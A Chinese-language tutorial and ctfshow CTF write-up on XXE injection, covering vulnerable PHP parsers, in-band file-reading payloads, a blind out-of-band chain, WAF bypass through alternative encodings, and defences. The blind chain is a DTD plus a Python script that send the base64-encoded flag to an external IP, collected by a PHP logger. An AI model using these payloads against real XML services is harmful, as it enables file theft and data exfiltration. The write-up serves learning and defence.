XXE
XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击。由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load 默认情况下会解析外部实体,有XXE漏洞的标志性函数为simplexml_load_string()。
XXE可导致读取任意文件,探测内网端口,攻击内网网站,发起拒绝服务攻击,执行系统命令等。Java中的XXE支持sun.net.www.protoco里的所有协议:http,https,file,ftp,mailto,jar,netdoc。一般利用file协议读取文件,利用http协议探测内网。
学习链接:
https://xz.aliyun.com/t/3357
https://www.freebuf.com/column/181064.html
实战(ctfshow)
web373(有回显)
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);
直接通过DTD外部实体声明。
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<snakin>
<ctfshow>&xxe;</ctfshow>
</snakin>
POST传入即可
web374-376(无回显)
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
无回显xxe可以利用自己的vps带外输出。
为区分嵌套实体和实体之间的关系,可以通过单双引号来间隔开,引号中嵌套一个参数实体,其%
号需要写成:%
也可写为16进制的%
先建立一个index.php
<?php
$cookie = $_GET['q'];
$myFile = "cookie.txt";
file_put_contents($myFile, $cookie, FILE_APPEND);
?>
xxe.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://42.192.137.212/index.php?q=%file;'>">
post发送请求
import requests
url = 'http://8bb031b1-bab9-43fe-b73b-d9741ed6617b.chall.ctf.show/'
payload = """<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://42.192.137.212/evil.dtd">
%remote;%int;%send;
]>
"""
requests.post(url, data=payload)
之后在网站根目录 cookie.txt 查看获取的 flag 即可
绕过
一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。
在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。
外来编码也可用于绕过成熟的WAF,因为它们并不总是能够处理上面列出的所有编码。例如,libxml2解析器只支持一种类型的utf-32 - utf-32BE,特别是不支持BOM。
XXE自动化工具
XXEinjector:一款功能强大的自动化XXE注射工具。
推荐一篇文章,详细的讲述了其使用方法,最后还附了XXEinjector工具的下载。
XXE的防御
- 使用开发语言提供的禁用外部实体的方法
PHP
libxml_disable_entity_loader(true);
JAVA
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
- 过滤用户提交的XML数据
过滤关键词:<!DOCTYPE
和<!ENTITY
,或者SYSTEM
和PUBLIC
。
参考链接:https://blog.csdn.net/weixin_45669205/article/details/115122209